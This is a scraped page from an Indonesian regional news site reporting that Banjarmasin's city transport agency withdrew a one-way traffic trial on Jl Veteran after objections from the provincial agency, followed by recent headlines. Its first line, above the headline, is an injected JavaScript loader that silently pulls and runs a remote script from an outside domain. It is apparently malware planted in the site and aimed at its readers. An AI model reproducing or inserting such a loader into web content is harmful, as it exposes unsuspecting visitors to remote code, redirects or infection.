(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jalan Provinsi Itu Berat, Dishub Kota Tak Kan Kuat, Biar Dishub Provinsi Saja!


BANJARMASIN, Setelah hampir satu bulan melakukan uji coba rekayasa jalan dengan menerapakan  jalur satu arah di Jl Veteran, Dinas Perhubungan (Dishub) Kota Banjarmasin akhirnya menarik kebijakan tersebut. Langkah ini menyusul ‘protes’ Dishub Provinsi Kalsel dengan dalih penutupan tersebut akan mengganggu aktivitas ekonomi masyarakat.

Kadishub Kota Banjarmasin Ichwan Noor Khalik mengakui telah menerima surat permintaan penundaan penerapan jalan satu arah di kawasan Jl Veteran dari Dishub Provinsi pada Rabu (14/2) lalu. Dia bersyukur, karena provinsi akhirnya sadar jika kawasan tersebut merupakan kewenangannya yang mestinya harus dikelola dengan baik.

Ichwan mengatakan, upaya pihaknya mencoba menerapkan kebijakan satu arah di kawasan tersebut lantaran selama ini terjadinya kemacetan parah. Dan lagi, sebagai penanggungjawab, Dishub Provinsi sepertinya tak pernah menyentuhnya.

“Ketika dulu tidak diapa-apakan oleh pihak provinsi. Tapi karena wilayahnya di Banjarmasin, sehingga mau tidak mau, kami melakukan itu (kebijakan satu arah, red). Tapi karena Dishub Provinsi turun, jadi kami batalkan sepenuhnya. Semoga dari provinsi bisa memberikan kebijakan yang lebih bagus,” tegasnya.

Tak hanya di kawasan Jl Veteran, Dishub Kota Banjarmasin sebelumnya turun tangan di beberapa lokasi jalan sepanjang 16 km dan simpang 4 traffic light yang sebenarnya wewenangnya dikelola dan dirawat oleh Dishub Provinsi. Mengingat di lokasi tersebut rentan kemacetan dan penumpukan pengendara, terutama pada jam kantor.

Begitu juga seperti 5 titik kemacetan lain yang tak kalah parah yakni simpang 4 Sultan Adam Sungai Andai, simpang 4 Gatot Subroto Veteran, Sei Lulut, pertigaan ganda Veteran, Kuripan, Sei Bilu, dan Simpang 4 Jln Sulawesi Perintis Kemerdekaan. Semua jalan tersebut juga merupakan kewenangan provinsi untuk pengawasan, pembinaan, dan pemeliharaannya.

“Harusnya semua dilakukan oleh propinsi, maka kami kembalikan lagi kepada provinsi,” tegas Ichwan.

Setelah Dishub Banjarmasin angkat kaki dari sejumlah kawasan tersebut, hari ini petugas Dinas Perhubungan Provinsi Kalsel dan kepolisian, menjaga arus lalu lintas di perempatan Sultan Adam dan Sungai Andai. Dimana sebelumnya Kapala Dishub Provinsi Rusdiansyah, mengatakan akan menugaskan personilnya untuk berjaga di kawasan tersebut.

Penjagaan itu dilakukan karena dua hari lalu barier di perempatan itu telah dipindahkan. Selain itu pula karena di kawasan itu ada SPBU sebagai tempat pengendara mampir mengisi bahan bakar dan dianggap objek vital.


Page: 1 2

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.